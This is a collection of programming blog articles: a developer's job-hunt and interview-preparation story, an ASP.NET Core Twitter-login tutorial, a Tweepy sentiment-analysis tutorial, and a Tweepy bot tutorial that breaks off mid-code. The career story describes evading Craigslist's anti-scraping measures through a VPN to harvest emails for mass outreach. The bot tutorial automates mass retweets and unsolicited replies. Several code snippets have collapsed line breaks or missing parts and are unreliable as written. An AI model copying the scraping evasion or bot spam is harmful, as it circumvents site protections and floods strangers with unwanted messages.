As the saying goes, cast your net far and wide. So that’s what I did.

What I did next is something I’m particularly proud of. I wrote a simple Python script that scraped job listings on Craigslist with titles containing keywords from a list, and collected the emails in a spreadsheet. For the actual war story, you can read the article here.

It wasn’t the smartest solution, but people who post on Craigslist are surprisingly accurate with their titles.

Craigslist, however, didn’t like people scraping their website. To work around this, I ran my script through a VPN, and had a timer that would pause the script every few minutes or so. It wasn’t perfect, but it worked well enough.

In the end I collected about 500 emails from around San Francisco, Portland, Spokane, and Seattle. I filtered the results by how specific and recent they were, and kept improving it by adding more and more features.

As it turned out, there were a few bots in the market already that crawled Craigslist and sent out automated emails. These were mostly offshore companies that were looking to pitch their company to the US market.

One of my workarounds was that I crafted emails that used keywords from their listings in the title of my emails. I then added more details using the body of the postings to make it seem more personable. I did a quick A/B test, and the replies I received had increased quite a bit from around 2–3% to 10%.

Out of the 500 or so emails, I received about 50 replies, and landed phone screens with a small percentage of those. I stopped at 500 because I was short on time and needed to finalize a job as soon as possible. I was optimizing for results rather than reach at that point.

As luck would have it, I finally landed a job at a startup in Seattle as a junior software engineer. The startup was located in Kirkland at the time, so I had to take a 45-min bus ride to make it in time for the interview.

I then stayed there for the next 3.5 years, where I learned a great deal of stuff like Amazon AWS, EC2, DynamoDB, SQS, and Docker. I grew a lot during this period. I learned how to write modular, maintainable code. I learned how to reason about software design. And I learned how to handle people problems.

I was working next to a group of smart people who held jobs at Microsoft, Amazon, and LinkedIn, and I tried to be the “sponge” in the group. I absorbed anything and everything they threw at me. I believe this made a huge impact in my career.

Startup Days

During my stint at the startup, I worked almost exclusively on backend development, with some dev-ops in between. I started out writing some functions to add/modify a feature that were mostly small in scope. But it was a great opportunity to understand the codebase and get some code reviews.

A year into it, I started owning parts of the codebase, and then I was tasked with turning a set of features into a service. That was the start of the SOA phase for the startup. We started turning various components of the site into services, and that’s how I started learning more about RESTful services, authentication, AWS services, pub-sub, distributed systems and so forth.

The interesting part here is that I didn’t learn about any of these through books or formal education. Rather, I needed to get that set of features done and there were the bottlenecks.

So I thought, let’s go solve it!

There were many times where I was stuck in analysis paralysis — a state where I over-analyzed scenarios and ended up not able to make progress.

Those trying times were the greatest learning opportunities. I started to learn feature scoping, negotiations, monitoring, alerting, and documentation. Each step of the process revealed more things I needed to learn. I grew the most during these 2–3 years, both as an individual and software engineer.

How I prepared for my interviews

After suffering through my first job search, I told myself that I must be prepared in future interviews.

I started preparing for interviews by charting out an overview of what I was good at, bad at, and where I could improve. I broke it down into three categories: data structures, algorithms, and system design.

Having worked in PHP for most of my professional career, and C++ in college, I wanted to try something a little simpler and less verbose for interviewing.

For this reason, I picked Python. It is a great language to learn, easy to pick up, supports many data structures out of the box, and can be written quickly on the whiteboard. I learned Python by going through YouTube tutorials like these, and also reading their documentation. I prefer Python 2.x, but you can go for either 2.x or 3.

Also, another reason why I picked Python is that it’s highly readable and easy to write on a whiteboard. Here’s a trivial comparison between C++ and Python.

A C++ program to sort in descending order:

#include 
using namespace std; 
int main() {   
    int arr[] = {1,10,0,4,5};
    int n = size(arr)/sizeof(arr[0]);   
    sort(arr, arr + n, greater<int>());   
    for (int i = 0; i < n; i++) {       
        cout << arr[i] << " ";   
    }    
    return 0;
}

Compare that with Python’s version:

a = [1,2,4,5,1000]
a.sort(reverse=True)
print a

I’ve received feedback from interviewers to err on the side of brevity in an interview. In a 45-minute interview, you want to use most of your time solving the actual problem.

Pro tip: pick a language that’s less verbose so that you can write the code more quickly on the whiteboard.

Preparation mode

I spent about a week going through simple challenges on LeetCode, HackerRank, and Project Euler to familiarize myself with their interfaces, and to get used to writing code in Python.

The first week gave me insights into my competence level at certain programming languages. I spent another week going through some design challenges like “design X” and went as wide and deep as I could.

This was a lot of fun for me, because I often looked at iOS apps and tried to figure out how they did it. For example, how would you build Instagram from scratch? (I was asked this at Facebook.)

My background is in API designs and service-oriented architecture, so I took this opportunity to show how I would design my own version of Instagram. And because I have some iOS programming experience from my side-projects, I could talk a little bit about callbacks and push/long-polls here.

I started the conversation with some features I’d like to have on my own version of Instagram: likes, upload a photo, and a simple timeline. Feature scoping enabled me to build a very solid API because I know these scenarios well.

I then drew some pictures of a high-level design, of how the client would interact with the backend, and of how the backend would store the data.

I started small, and then added more components where needed and proactively sought where the bottlenecks were. I made educated guesses (read educated, not blind guesses) on what the requirements would be, and how each technology would fit in well. And also equally important, what technologies would not fit well.

For example, why would you use Cassandra over MySQL to store certain information (hint: scale, speed of development, schema reviews), why use OAuth over simple authentication, Redis vs Memcached for caching data, streaming vs batch processing, and so on.

There are many areas you can explore here, so typically a one-hour session is not enough. To do well on these questions, you have to read and learn about trade-offs. Pros and cons of technologies in the industry. For this, I recommend a site like HighScalability.

Take it like a typical brainstorming session with a coworker, so explore as widely and as deeply as you can.

It’s crucial to know that these design interviews are meant to explore how much you know and how well you know it, and it’s an opportunity for you to shine. I watched this YouTube video from an ex-Facebook engineer about how to solve design problems, and it gave me insights that helped me tremendously with my design interviews. My two main lessons from it: drive the design conversation, and show what you know.

I listed out my competency level for: data structures (linked list, hash map, binary tree, binary search tree, heap, array), algorithms (binary search, hashing, dynamic programming, sorting), and language-specific syntax and libraries (like sort, lambda for Python, appending, indexing).

I picked the area I was worst at, and started working on it: algorithms.

Algorithms have never been my forte. It’s been a while since my college days, and I didn’t spend much time doing binary search in my day-to-day career. I had an inkling of how each algorithm would perform, and in what scenarios to use them. But I wasn’t 100% comfortable with writing a binary search in under 10 mins. On a whiteboard. In front of an interviewer.

I also picked up a bunch of fine-point markers from Amazon, which work amazingly well. Perhaps it’s just me, but the fine-point markers in interviewing rooms usually don’t work at all. I’d usually scramble for 2–3 mins looking for a working pen, and that’s 2–3 mins you can’t afford to waste. Plus, fine-point markers allow you to write 5–8 more lines of code on a typical whiteboard vs. thicker ones. :)

Pro tip: Get your own set of fine-point markers.

I got a whiteboard from Costco for $50, some books from Amazon (listed in the tools I recommend section below), and started practicing. I made sure I ramped up on binary search, recursion, dynamic programming, BFS and DFS. A lot of interviewing questions revolved around recursion and binary search or some variations of it.

The best interviewing questions I’ve seen had many different solutions to them, and there’s an additional layer added on top as you progress through.

One Google question I had was related to file-system directories, and how to traverse them (hint: recursion). I solved that relatively quickly, and the interviewer asked how to identify a missing file in that directory. That was a little more difficult, but I got through it. And we then moved into how to rebuild the directory, how to serialize/deserialize it, and we spent a good chunk of time debating how file directories work underneath the hood. It was a very enjoyable session for me.

Interviewing at top-tier companies

It was a nerve-wracking experience, to say the least, and a real roller-coaster.

I allocated my time in the following manner: 20% resume, 20% research and 60% interview preparation.

I spent 20% of my time fixing up my resume, which hadn’t been updated in at least three years. I took a hard look at the stuff I’ve done in the past, and picked projects I handled end-to-end, regardless of complexity.

The reason for doing this is two-fold. Taking a project from start to completion demands discipline and leadership — two of the traits I’d like to be identified with.

Secondly, ownership of a project end-to-end means I can talk about each aspect of the project at length and in depth. This proved critical in helping me navigate my design round at Twitter, where they grilled me hard on not only the designs of my projects, but also the decisions behind them.

20% of my time was used for research. Research in this case meant doing due diligence on companies I was interested in and reaching out for referrals. Having referrals helps with return calls.

From my experience, I sent out 20 or so cold messages to startups and mid-stage companies, and only heard back from a handful. But, almost all the companies I was referred to by an existing employee sent me a message within a week. This is anecdotal, but there’s value to be had there.

I am not that sociable, and I didn’t know many people who’d be able to refer me to a company I was interested in. To solve that problem, I went on LinkedIn. They have a search functionality that I used to search for 1st and 2nd-level connections. 2nd-level connections are people who’re one hop away from your immediate circle. In other words, we have mutual friends who can vouch for my credibility.

LinkedIn search

This is incredibly important, because cold-calling someone for a job is very, very hard, especially in today’s market. People tend to err on the side of caution when it comes to cold-callers. Using LinkedIn was super helpful for my research phase.

Looking back at all the companies I interviewed at, here are my thoughts on each of them:

Facebook/Google — very mechanical. The standard interviewing process, and I didn’t feel any personal connection to them.
Pinterest — not the best interviewing experience, but a cool product and company.
Microsoft — loved the team and especially the manager and her manager. Standard interviewing questions, but very personable. Close-second choice. Your mileage may vary, though — each team at Microsoft interviews differently.
Amazon — standard interviewing process. About 50% of the people love it, the others don’t.
Twitter — incredibly fun and personal. Loved the interviewing process, gave a lot of emphasis on the individual and what I’d done in the past.
Snapchat — cool office in LA, great bunch of people who decided to jump on the startup bandwagon. Felt like things were shrouded under a cloud of secrecy.
Lyft — near to where I live, nice office, standard interviewing process. No strong feelings about it.

Let’s talk about my favorite

In many ways, I’d say Twitter’s interviewing style was hard. But at the same time, it was more interesting and personable than other companies I’ve interviewed at.

Their interviewing process starts with an introductory phone call with an engineering manager. That’s followed up by one or two technical phone screens, depending on how you perform. If you do well, they’ll fly you out to the office you’re interviewing for, which was Seattle in my case. There are three 1-hour-and-15-minute rounds, each with two interviewers.

The first two technical phone screens are the standard, run-of-the-mill technical screens where you solve coding problems on a shared coding doc.

The onsite rounds, however, are much more conversational and feel much less intimidating. The interviewers will ask you in-depth questions about your past projects, and they’ll grill you on what you’ve done in the past. If you claim ownership of a project, you should expect some questions about it. You’re encouraged to use them for references and to bounce ideas off of.

I never felt any pressure to magically come up with a fully working solution, and it felt highly collaborative.

The others

In comparison, interviewing at Facebook and Google felt much more mechanical. They have one or two technical phone screens, and five to six onsite coding rounds. Each round involves some coding on a whiteboard, and you’re expected to come up with a near-perfect solution in a reasonable amount of time.

Facebook has two coding rounds, one design round, and one behavioral round.

I went through an additional shadow round at the end of the day, which didn’t count towards my overall score.

Google had five coding rounds, none of which focused on designs, and not a single interviewer asked about my previous projects. I don’t necessarily think this is bad. But I think it felt very mechanical and didn’t give much opportunity for the engineer to show what they’re capable of. Some people do well in these scenarios, much like some students do well in exams.

I did not enjoy my interview with Pinterest. I think the product itself is interesting, and their engineering team seems to be working on very cool technical problems. But I definitely had a negative experience during my interview there.

Pinterest has three coding rounds and one design round. Of those four rounds, the design round was most disappointing to me. Here’s why:

The interviewer came in late, and he spent a few minutes glancing over my resume before proceeding to draw some APIs on the board. He gave a short description of what he expected the API to do, and asked how I would solve it. We clarified the features of the API, and I started describing my solution using the whiteboard. About 5 minutes into it, I turned around and saw him taking a nap!

Not cool.

I gave the recruiter my feedback in a survey, and I didn’t hear back from them after that.

I won’t delve into specifics of the questions I was asked during all the interviews. Instead, I’ll share some of the insights and useful tips I learned from my preparation process.

What I learned:

Be honest on your resume. Most companies will ask you questions about your resume, and they can tell if you made it up. It’s better to be able to know 100% about one project than to know 10% about 10 different projects.
One-page resumes are recommended. This is especially true for tech companies, and it seems that the wisdom within the tech sphere is that you should reserve two pages and longer for post-doctoral work, or if you’ve done a lot of projects that you know and care deeply about. A friend of mine runs a company called Jobscan that scans resumes and makes specific, actionable improvements on them. They’re pretty awesome, so try them out :)
Socialize and establish a network. There’s a lot of competition for software engineering jobs, and these top tech companies are filtering through thousands of resumes a day. Having a referral will help you get some eyes on your resume.
Nail your pitch. Every company that’s interested in you wants to know why you’re interested in them. A bad answer: I just need a job right now to pay bills. A less-bad answer: I was browsing online and found you guys. Sounds like you’re working on interesting things. A good answer: I know you’re doing some interesting work in X to achieve Y. I’ve done some work in the past and here’s what I learned about A, B, C that might be related to X. I am passionate about Y because blah. (Don’t use this as a template. Instead, you should see the pattern here — do your research, use your background, and show the company why both of you would fit well together.)

Some more advice

Technical interviews are incredibly difficult, and sometimes it’s a hit-or-miss. The best opportunities, however, are reserved for those who are prepared.

Prepare early, prepare well. Everyone knows that they should prepare for an interview, but most don’t know how to do it well. As with anything worth doing, it takes deliberate practice to do well at something. And deliberate practice means you need to have a system.
Build a system to practice technical skills. I started by rating myself from 1–10 on how good I was, and worked on the ones I was worst at. I spent days on different types of questions until I fully mastered each concept. And I wrote notes daily on Evernote. I had a note that serves as a brain dump for all things programming. It is full of programming tips & tricks, common errors and misconceptions, frameworks for solving specific types of questions, and much more.

My notebook

Keep a notebook of the things you’ve learned. I use both Evernote and OneNote to keep track of things. OneNote for technical stuff/code, because I like that I can easily format the note any way I like. I use Evernote for essays/thoughts. The image above shows a note I keep on architecture and system designs.

Evernote for thoughts/tips

Jot everything down, even if you don’t think you’ll use it. I tend to forget very easily, so anything that I learn I write it down, including shell commands. I read technical blogs from time-to-time, and if I find anything interesting I jot it down on Evernote right away. I’ll revise it every week or month and reorganize accordingly. This has helped me tremendously over my career.
Get mock interviews. This was definitely very valuable and I highly advise it. I had mock interviews with friends and tried to practice as much as I could. If you can’t find friends to practice with, then I recommend Refdash, which is an Interview-As-A-Service. They have a group of interviewers who work at big tech companies like Google, Facebook, and Microsoft. These interviewers will assess you on your coding and design skills. The best part of it is they’ll give you a score at the end of it with specific actionable items on how to improve.
It’s OK to fail. I failed multiple interviews during this whole process. Sometimes you just have a bad day. It’s not the end of the world if you fail. Companies are biased towards saying no because it’s a lower risk for them. A false positive costs more than a false negative in the long run. The first few rejections definitely stung the most. I failed multiple phone screens when I first started interviewing, and my confidence level sunk. I had doubts in my mind about my abilities and started fearing that my skills weren’t relevant in today’s job market. However, I gave myself a tip: If you fail 10 times, then try 10 times more. All you need is one success. That reassurance gave me a lot of confidence to keep pushing through and when my first offer came through, the other offers came much more easily.

It took me about 2 months of deliberate practice and preparation for my interviews. I spent about 20 hours/week, or 80 hours/month, learning and writing notes on top of a full time job.

To build up my resume, it took 3.5 years of focused, deliberate work. I intentionally picked things that were tough and icky so that I could learn more than anyone else. Even though I don’t have a brand name university or top-tier tech company on my resume, I made up for it with a clear, thorough understanding of the projects I worked on. And this was possible because I researched and wrote down notes of everything I learned, and have a system to review them.

Remember: the strong survives, the tough thrives.

TL;DR: Don’t give up, set yourself up for opportunities, practice a lot, and stay hopeful. Focus on the process, and take a disciplined, dedicated approach to the process.

Designing Data-Intensive Applications: Awesome book for learning about scaling distributed systems! Highly recommended.
Elements of Programming Interviews: Great for solving coding problems.
Cracking The Coding Interview: Great for covering foundational CS coding problems.
Daily Coding Problem.com: This is a free-to-try website that offers free daily coding problems. You can sign up for interesting daily coding challenges, and you can pay for solutions if you want.
Dropbox: I keep all my files, pictures, resume here. Easy access, installed once and available everywhere. Love it ❤️ (If you sign up thru this link, both of us will get free 500MB!
CodeRunner: I love this Mac app! I used this multiple times to run ad-hoc Python scripts/functions and it just works amazingly well. ?
Kafka the Guide: I used this book as a reference guide, and enjoyed it for the high-level description.

(I share more resources I personally have used and recommend on zhiachong.com, if you’re interested in learning more.)

Thanks for reading my story! You can find me on Twitter and LinkedIn. I would love to connect and talk more about tech, startups, travel :D

Credits:

Brandon O’brien, my mentor and good friend, for proof-reading and providing valuable feedback on how to improve this article.

YK Sugishita, an up-and-coming Youtube star who left his job at Google to pursue his dreams, for proof-reading and giving critical feedback.

Helpful terminal tips

freeCodeCamp — Mon, 20 Jan 2020 14:43:26 +0000

By Leonardo Faria

A while ago I started a thread on Twitter with a few terminal tips. There are lots of command line interfaces in NPM and they can be very handy in our daily work.

Here they are. If you like them, you can follow me on twitter for more tips :)

Photo credit: Unsplash

Also posted on my blog. If you like this content, follow me on Twitter and GitHub.

By the way - Thinkific is hiring for several positions if you are interested.

Authentication Using Twitter In ASP.NET Core 2.0

freeCodeCamp — Mon, 09 Jul 2018 23:22:50 +0000

By Ankit Sharma

Introduction

Sometimes, we want our users to log in using their existing credentials from third-party applications such as Facebook, Twitter, Google and so on. In this article, we are going to look into authentication of an ASP.NET Core app using Twitter.

Prerequisites

Install .NET Core 2.0.0 or above SDK from here.
Install the latest version of Visual Studio 2017 Community Edition from here.

Create MVC Web Application

Open Visual Studio and select File >> New >> Project. After selecting the project, a “New Project” dialog will open. Select .NET Core inside Visual C# menu from the left panel. Then, select “ASP.NET Core Web Application” from available project types. Put the name of the project as Dem_o_TwitterAuth and press OK.

After clicking on OK, a new dialog will open asking to select the project template. You can observe two drop-down menus at the top left of the template window. Select “.NET Core” and “ASP.NET Core 2.0” from these dropdowns. Then, select the “Web application(Model-View-Controller)” template. Click on the “Change Authentication” button, and a Change Authentication dialog box will open. Select “Individual User Account” and click OK. Now, click OK again to create your web app.

Before running the application, we need to apply migrations to our app. Navigate to Tools >> NuGet Package Manager >> Package Manager Console.

It will open the Package Manager Console. Put in the Update-Database command and hit enter. This will update the database using Entity Framework Code First Migrations.

Press F5 to run the application. You can see a home page as shown below.

Note the URL from the browser address bar. In this case, the URL is http://localhost:51763/. We need this URL to configure our Twitter App, which we will be doing in the next section.

Create the Twitter App

Before we start building our ASP.NET Core 2.0 application, we need to create and configure the Twitter app so that we can use it to authenticate our application.

Navigate to https://apps.twitter.com/ and sign in using your existing Twitter account. If you do not have a Twitter account, you need to create one. You cannot proceed without a Twitter account. Once you have logged in, you will be redirected to an Application Management page similar to the one shown below.

It will show all your Twitter Apps configured. Since I have already configured a Twitter App, it is being displayed. If you are creating one for the first time, it will not show anything. Click on the “Create New App” button in the top right corner. It will open a form and ask to fill out the details to create a new app.

You can fill the form with the details as mentioned below.

Name
Give any name of your choice. But it should be universally unique. This means no one should have used this name earlier for creating a Twitter app. This works the same as Email id. Two people cannot have the same Email id. I am using the name “DemoTwitterAuth” for this tutorial. If you use an already existing name then you will get an error “_The client application failed validation: is already taken fo_r Name.”
Description
Give an appropriate description.
Website
Give your public website URL. But for this demo purpose, we will use a dummy URL http://demopage.com.

If you use the URL format as www.demopage.com, you will get an error “The client application failed validation: Not a valid URL format.” Always use URL format as http://demopage.com

Callback URL
Give the base URL of your application with /signin-twitter appended to it. For this tutorial, the URL will be http://localhost:51763/signin-twitter.

Accept the Developer agreement by clicking the checkbox and click on the “Create your Twitter application” button. You will be redirected to your newly created Twitter app page, and you will also see a success message as shown in the image below.

Navigate to the “Keys and Access Tokens” tab and make a note of the Consumer Key (API Key) and Consumer Secret (API Secret) field values. We will be using these values in the ASP.NET Core app.

The fields are masked in this image for security purposes.

Our Twitter app has been created successfully.

Configure the Web App to use Twitter authentication

We need to store the Consumer Key (API Key) and Consumer Secret (API Secret) field values in our application. We will use the Secret Manager tool for this purpose.

The Secret Manager tool is a project tool that can be used to store secrets such as password, API Key, and so on for a .NET Core project during the development process. With the Secret Manager tool, we can associate app secrets with a specific project and can share them across multiple projects.

Open your web application once again and Right-click the project in Solution Explorer. Select “Manage User Secrets” from the context menu.

A secrets.json file will open. Put the following code in it.

{  
    "Authentication:Twitter:ConsumerKey": "Your Consumer Key here",  
    "Authentication:Twitter:ConsumerSecret": "Your Consumer Secret here"  
}

Now open the Startup.cs file and put the following code into the ConfigureServices method.

services.AddAuthentication().AddTwitter(twitterOptions => {  
    twitterOptions.ConsumerKey = Configuration["Authentication:Twitter:ConsumerKey"];  
    twitterOptions.ConsumerSecret = Configuration["Authentication:Twitter:ConsumerSecret"];  
});

In this code section, we are reading ConsumerKey and ConsumerSecret for the authentication purpose. So finally, Startup.cs will look like this.

using System;  
using System.Collections.Generic;  
using System.Linq;  
using System.Threading.Tasks;  
using Microsoft.AspNetCore.Builder;  
using Microsoft.AspNetCore.Identity;  
using Microsoft.EntityFrameworkCore;  
using Microsoft.AspNetCore.Hosting;  
using Microsoft.Extensions.Configuration;  
using Microsoft.Extensions.DependencyInjection;  
using DemoTwitterAuth.Data;  
using DemoTwitterAuth.Models;  
using DemoTwitterAuth.Services;  
namespace DemoTwitterAuth {  
    public class Startup {  
        public Startup(IConfiguration configuration) {  
            Configuration = configuration;  
        }  
        public IConfiguration Configuration {  
            get;  
        }  
        // This method gets called by the runtime. Use this method to add services to the container.  
        public void ConfigureServices(IServiceCollection services) {  
            services.AddDbContext < ApplicationDbContext > (options => options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));  
            services.AddIdentity < ApplicationUser, IdentityRole > ().AddEntityFrameworkStores < ApplicationDbContext > ().AddDefaultTokenProviders();  
            services.AddAuthentication().AddTwitter(twitterOptions => {  
                twitterOptions.ConsumerKey = Configuration["Authentication:Twitter:ConsumerKey"];  
                twitterOptions.ConsumerSecret = Configuration["Authentication:Twitter:ConsumerSecret"];  
            });  
            // Add application services.  
            services.AddTransient < IEmailSender, EmailSender > ();  
            services.AddMvc();  
        }  
        // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.  
        public void Configure(IApplicationBuilder app, IHostingEnvironment env) {  
            if (env.IsDevelopment()) {  
                app.UseBrowserLink();  
                app.UseDeveloperExceptionPage();  
                app.UseDatabaseErrorPage();  
            } else {  
                app.UseExceptionHandler("/Home/Error");  
            }  
            app.UseStaticFiles();  
            app.UseAuthentication();  
            app.UseMvc(routes => {  
                routes.MapRoute(name: "default", template: "{controller=Home}/{action=Index}/{id?}");  
            });  
        }  
    }  
}

And with this, our application is ready.

Execution Demo

Launch the application and click “Login” in the top right corner of the homepage.

You will be redirected to the http://localhost:51763/Account/Login page, where you can see the option to login using Twitter on the right side of the page.

Clicking on the Twitter button will take you to the Twitter authorization page. There, you will be asked to fill in your Twitter credentials and authorize the Twitter app to use your Twitter account.

Once you click on Authorize app, the application will take a few moments to authenticate your Twitter account. Upon successful authentication, you will be redirected to a registration page inside your application where you need to fill in an email id to tag with your account.

Give an email id and click “Register”. You will be redirected to the homepage again but this time, you can also see your registered email is in the top right corner.

Conclusion

We have successfully created a Twitter app and used it to authenticate our ASP.NET Core application.

You can get the source code from GitHub.

Please note that in the source code, the secrets.json file contains dummy values. So you’ll need to replace the values with the keys of your Twitter app before executing it.

You can also find this article at C# Corner.

You can check my other articles on ASP .NET Core here

Basic data analysis on Twitter with Python

freeCodeCamp — Tue, 17 Apr 2018 17:56:08 +0000

By Lucas Kohorst

After creating the Free Wtr bot using Tweepy and Python and this code, I wanted a way to see how Twitter users were perceiving the bot and what their sentiment was. So I created a simple data analysis program that takes a given number of tweets, analyzes them, and displays the data in a scatter plot.

_Image [credit](https://pixabay.com/en/facebook-analytics-graphs-2265786/" rel="noopener" target="blank" title=").

Setup

I had to install a few packages to create this: Tweepy, Tkinter, Textblob and matplotlib. You can install each of these with the pip package manager. For example:

pip install tweepy

or you can clone into the Github repository like this.

git clone https://github.com/sloria/textblobcd textblobpython setup.py install

Next you will need to create a new Python file and import the following packages.

import tweepy #The Twitter APIfrom Tkinter import * #For the GUIfrom time import sleepfrom datetime import datetimefrom textblob import TextBlob #For Sentiment Analysisimport matplotlib.pyplot as plt #For Graphing the Data

Twitter Credentials

Now we need to link a Twitter account to our script. If you don’t have one already, create one.

Go to apps.twitter.com and sign in with your account. Create a Twitter application and generate a Consumer Key, Consumer Secret, Access Token, and Access Token Secret.

Under your import statements, store your credentials in variables and then use the second block of code to authenticate your account with Tweepy.

consumer_key = 'consumer key'consumer_secret = 'consumer secrets'access_token = 'access token'access_token_secret = 'access token secret'

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret)api = tweepy.API(auth)

If you want to test to see if your account is properly authenticated, you could simply print your username to the console.

user = api.me()print (user.name)

Creating the GUI

For the interface, we will use two labels: one for the search and the other for the sample size or number of tweets to be analyzed. We will also need a submit button so that when clicked, we can call our getData function.

root = Tk()

label1 = Label(root, text="Search")E1 = Entry(root, bd =5)

label2 = Label(root, text="Sample Size")E2 = Entry(root, bd =5)

submit = Button(root, text ="Submit", command = getData)

So that the computer knows to keep the GUI on the screen, we need to pack our labels and then loop the root display.

label1.pack()E1.pack()

label2.pack()E2.pack()

submit.pack(side =BOTTOM)

root.mainloop()

Simply running this code, you should see a window that looks something like this:

However when text is input into the labels or the submit button is clicked, nothing happens. We have to collect the data.

Analyzing Tweets

First, we have to get the text input into the labels.

def getE1():    return E1.get()

def getE2():    return E2.get()

Now we are ready to code the getData function. From now on, all code is in this function:

def getData():    #Code

We need to use the GetE1() and GetE2() functions. These store our search and sample size in variables that we can loop through.

getE1()    keyword = getE1()

getE2()    numberOfTweets = getE2()    numberOfTweets = int(numberOfTweets)

In order to store our data, we can use lists. One list is for the polarity (or sentiment) of the tweets, and another for the number of the tweet (so that we can graph the data).

    polarity_list = []    numbers_list = []    number = 1

The number of tweets needs to be declared as 1 because the default value is 0.

We can now begin to iterate through the tweets and analyze them. Using TextBlob, we can find the sentiment of each tweet and store it to a variable polarity . We can then append this variable to our polarity_list along with appending the number to our number_list.

analysis = TextBlob(tweet.text)analysis = analysis.sentimentpolarity = analysis.polarity            polarity_list.append(polarity)            numbers_list.append(number)number = number + 1

We take this code and, using a for loop and try statement, we iterate it over the number of tweets for the search keyword.

for tweet in tweepy.Cursor(api.search, keyword, lang="en").items(numberOfTweets):        try:            analysis = TextBlob(tweet.text)            analysis = analysis.sentiment            polarity = analysis.polarity            polarity_list.append(polarity)            numbers_list.append(number)            number = number + 1

except tweepy.TweepError as e:            print(e.reason)

except StopIteration:            break

Graphing Scatter Plot

In order to graph our scatter plot with matplotlib, we first have to define the axis

axes = plt.gca()axes.set_ylim([-1, 2])

and then plot our lists of data.

plt.scatter(numbers_list, polarity_list)

Key information is shown in a box. In order to show the overall sentiment of the tweets we gathered, we calculate the average across all collected Tweets. Also, since we are displaying the sentiment at a specific time, we want to display the date and time.

averagePolarity = (sum(polarity_list))/(len(polarity_list))averagePolarity = "{0:.0f}%".format(averagePolarity * 100)time  = datetime.now().strftime("At: %H:%M\nOn: %m-%d-%y")

plt.text(0, 1.25, "Average Sentiment:  " + str(averagePolarity) + "\n" + time, fontsize=12, bbox = dict(facecolor='none', edgecolor='black', boxstyle='square, pad = 1'))

For the title, we can use this

plt.title("Sentiment of " + keyword + " on Twitter") plt.xlabel("Number of Tweets")plt.ylabel("Sentiment")

and finally use plot.show() to display the graph.

Example

Testing this for my Free Wtr bot, the sentiment was sky high!

Sample Size of 250 Tweets

as for Donald Trump, I cannot say the same:

Here is the full source code on Github.

Create a Twitter Bot in Python Using Tweepy

freeCodeCamp — Sun, 08 Apr 2018 01:11:47 +0000

By Lucas Kohorst

With about 15% of Twitter being composed of bots, I wanted to try my hand at it. I googled how to create a Twitter bot and was brought to a cleanly laid out web app. It allowed you to create a bot that would like, follow, or retweet a tweet based on a keyword. The problem was that you could only create one bot for one function.

So I decided to code a bot myself with Python and the Tweepy library.

Setup

First, I downloaded Tweepy. You can do this using the pip package manager.

pip install tweepy

You can also clone the GitHub repository if you do not have pip installed.

git clone https://github.com/tweepy/tweepy.gitcd tweepypython setup.py install

You’ll need to import Tweepy and Tkinter (for the GUI interface).

import tweepyimport Tkinter

Credentials

Next, we need to link our Twitter account to our Python script. Go to apps.twitter.com and sign in with your account. Create a Twitter application and generate a Consumer Key, Consumer Secret, Access Token, and Access Token Secret. Now you are ready to begin!

Under your import statements store your credentials within variables and then use the second block of code to authenticate your account with tweepy.

consumer_key = 'consumer key'consumer_secret = 'consumer secrets'access_token = 'access token'access_token_secret = 'access token secret'

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret)api = tweepy.API(auth)

In order to check if your program is working you could add:

user = api.me()print (user.name)

This should return the name of your Twitter account in the console.

Building the Bot

This bot is meant to:

Follow everyone following you.
Favorite and Retweet a Tweet based on keywords.
Reply to a user based on a keyword.

Step one is the easiest, you simply loop through your followers and then follow each one.

for follower in tweepy.Cursor(api.followers).items():    follower.follow()    print ("Followed everyone that is following " + user.name)

At this point in order to make sure your code is working you should log onto Twitter and watch as the people you’re following increase.

From this point onwards, besides setting up and packing the labels in the GUI, I am coding everything under the function mainFunction().

def mainFunction():    #The code

You might be able to see where this is going. In order to favorite or retweet a tweet we can use a for loop and a try statement like this:

search = "Keyword"

numberOfTweets = "Number of tweets you wish to interact with"

for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):    try:        tweet.retweet()        print('Retweeted the tweet')

    except tweepy.TweepError as e:        print(e.reason)

    except StopIteration:        break

In order to favorite a tweet you can simply replace the

tweet.retweet()

with

tweet.favorite()

In order to reply to a user based on a keyword, we need to store the users username and twitter ID.

tweetId = tweet.user.idusername = tweet.user.screen_name

We can then loop through the tweets and update our status (tweet) at each user.

phrase = "What you would like your response tweet to say"

for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):            try:                tweetId = tweet.user.id                username = tweet.user.screen_name                api.update_status("@" + username + " " + phrase, in_reply_to_status_id = tweetId)                print ("Replied with " + phrase)                       except tweepy.TweepError as e:                print(e.reason)

           except StopIteration:                break

If you want to only utilize the script through the terminal and update the code every time you wish to run it then you have completed your bot.

Creating the GUI

We can create a GUI application that will take our inputs of the keyword you would like to search for and whether or not you would like to favorite a tweet.

We first need to initialize Tkinter and setup the layout.

To create our user interface, we are going to have seven labels for search, number of tweets, and reply. Plus the questions do you want to reply, favorite, retweet the tweet, and follow the user.

Remember the code below is outside and above our mainFunction().

root = Tk()

label1 = Label( root, text="Search")E1 = Entry(root, bd =5)

label2 = Label( root, text="Number of Tweets")E2 = Entry(root, bd =5)

label3 = Label( root, text="Response")E3 = Entry(root, bd =5)

label4 = Label( root, text="Reply?")E4 = Entry(root, bd =5)

label5 = Label( root, text="Retweet?")E5 = Entry(root, bd =5)

label6 = Label( root, text="Favorite?")E6 = Entry(root, bd =5)

label7 = Label( root, text="Follow?")E7 = Entry(root, bd =5)

We also need to pack each label so that they show up and then call the root function in a loop so that it remains on the screen and doesn’t immediately close.

The following is what packing the first label looks like. I packed all of the labels below the mainFunction().

label1.pack()E1.pack()

root.mainloop()

If you only ran your GUI code, it should look something like this:

However, inputing text into the labels or clicking the submit button will do nothing at this point. As the interface is not yet connected to the code.

In order to store the user input in the labels, we need to use the .get() function. I used individual functions for each label.

def getE1():    return E1.get()

Then in my mainFunction(), I called the function getE1() and stored the input into a variable. For E1 it looks like this:

getE1()search = getE1()

You must do this for every label. For the numberOfTweets label make sure to convert the input into an integer.

getE2()numberOfTweets = getE2()numberOfTweets = int(numberOfTweets)

For the last four labels (Reply, Favorite, Retweet and Follow), we need to check to see if the input from the user is “yes” or “no” in order to run that given function or not. This can be accomplished through if statements.

This would be the code for the reply function:

if reply == "yes":

